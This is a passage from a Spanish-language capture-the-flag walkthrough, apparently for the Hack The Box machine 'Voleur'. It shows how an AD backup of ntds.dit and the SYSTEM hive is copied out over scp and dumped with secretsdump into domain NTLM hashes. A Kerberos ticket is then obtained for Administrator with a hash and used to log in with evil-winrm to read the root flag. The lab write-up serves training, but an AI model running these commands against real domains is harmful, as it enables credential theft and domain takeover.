svc_backup@DC:~$ ls -la "/mnt/c/IT/Third-Line Support/Backups"
total 0
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 2025 .
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30 2025 ..
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 2025 'Active Directory'
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 2025 registry
Credential Dumping: NTDS
Dentro del directorio Active Directory, encontraremos un archivo ntds.dit
El archivo NTDS.DIT (
New Technology Directory Services Information Tree) es la base de datos central de los Servicios de Dominio de Active Directory (AD DS) en los controladores de dominio de Windows Server. Contiene las credenciales de toda la información de AD.
svc_backup@DC:~$ ls "/mnt/c/IT/Third-Line Support/Backups/Active Directory"
ntds.dit ntds.jfm
Si listamos el otro directorio, veremos los archivos SECURITY y SYSTEM.
Con el archivo
SYSTEMyntds.dita nuestra disposición, podemos realizar un volcado de todas las credenciales del dominio en formato de hashes NTLM
Para agilizar un poco la transferencia de archivos, podemos comprimir los recursos necesarios y copiarlos con la herramienta scp
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ tar -cf backup.tar.gz registry/SYSTEM Active\ Directory/ntds.dit
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ mv backup.tar.gz /tmp
Podemos copiar rápidamente hacia nuestra máquina con la ayuda de la herramienta scp de la siguiente manera
scp -P 2222 -i id_rsa -r "svc_backup@dc.voleur.htb:/tmp/backup.tar.gz" .
Extraemos el archivo comprimido que creamos
tar -xf backup.tar.gz
Con la herramienta secretsdump haremos un volcado de hashes, veremos todos los hashes NTLM de todos los usuarios del dominio
secretsdump.py local -ntds Active\ Directory/ntds.dit -system registry/SYSTEM
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e65...:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::
voleur.htb\ryan.naylor:1103:aad3b435b51404eeaad3b435b51404ee:3988a78c5a072b0a84065a809976ef16:::
voleur.htb\marie.bryant:1104:aad3b435b51404eeaad3b435b51404ee:53978ec648d3670b1b83dd0b5052d5f8:::
...
<SNIP>
...
Root Time
Como NTLM se encuentra deshabilitado, debemos una vez más, solicitar un TGT para conectarnos al dominio
getTGT.py voleur.htb/Administrator -hashes :e656e07c56d831611b577b160b259ad2 -dc-ip DC01.voleur.htb
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
Al igual que al conectarnos anteriormente, podemos emplear la variable KRB5CCNAME directamente en vez de exportarla
KRB5CCNAME=Administrator.ccache evil-winrm-py -i dc.voleur.htb -k --no-pass
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'dc.voleur.htb:5985' as 'Administrator@VOLEUR.HTB'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
voleur\administrator
Ya podremos ver la última flag ubicada en el escritorio del usuario Administrator
evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
49d...
Gracias por leer, a continuación te dejo la cita del día.
Thousands of candles can be lighted from a single candle, and the life of the candle will not be shortened. Happiness never decreases by being shared. — Buddha